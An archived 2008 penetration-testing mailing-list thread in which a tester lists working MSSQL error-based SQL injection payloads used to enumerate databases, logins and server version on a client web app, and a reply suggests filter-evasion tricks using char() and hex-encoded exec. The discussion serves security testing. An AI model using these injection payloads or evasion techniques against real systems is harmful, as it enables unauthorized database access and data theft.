

RE: SQL injection (and being a pen tester means being good in every area)

RE: SQL injection (and being a pen tester means being good in every area)

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2008-08/msg00049.html>

- *From:* "Erez Metula" <erezmetula@xxxxxxxxxxxxxxxx>
 - *Date:* Fri, 8 Aug 2008 19:06:35 +0300
-

Hi,

Regarding the mentioned error you receive – it seems like the ' char is converted to the " char.

Try some evasion techniques, such as using the char() function, or declare a hex based variable and "exec" it, etc.

Good luck,
Erez.

Erez Metula, CISSP
Application Security Department Manager
Security Software Engineer
E-Mail: erezmetula@xxxxxxxxxxxxxxxx Mobile: 972-54-2108830
Office: 972-3-6492007

-----Original Message-----

From: listbounce@xxxxxxxxxxxxxxxx [<mailto:listbounce@xxxxxxxxxxxxxxxx>]

On Behalf Of mark mark

Sent: Thursday, August 07, 2008 6:47 PM

To: pen-test@xxxxxxxxxxxxxxxx

Subject: SQL injection (and being a pen tester means being good in every area)

Hi,

I'm doing a pentest for a client's web app:

Vulnerable URL:

<http://www.client.com/email.asp?id=1>

So far I have enumerated the following by appending the corresponding queries:

1. databases: or 1=convert(int,(SELECT DB_NAME(0toN)))
2. users: or 1=convert(int, (SELECT TOP 1 name FROM (SELECT TOP 0toN

RE: SQL injection (and being a pen tester means being good in every area)

RE: SQL injection (and being a pen tester means being good in every area)

name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC))
3. version: or 1=convert(int,(SELECT @@version))

Now i need to find out the tables and column names and if possible the IP address of the database server itself.

For the table name, i used this query:

SELECT name FROM master..sysobjects WHERE xtype = 'U' which I learned from <http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/>

Gives me the error: "[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'U'

Once I obtain the table names, I can now use this query i also learned from pentestmonkey website:

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

Any idea why the table enumeration query is not working for that site?

The site is running:

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 – 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988–2003 Microsoft Corporation Standa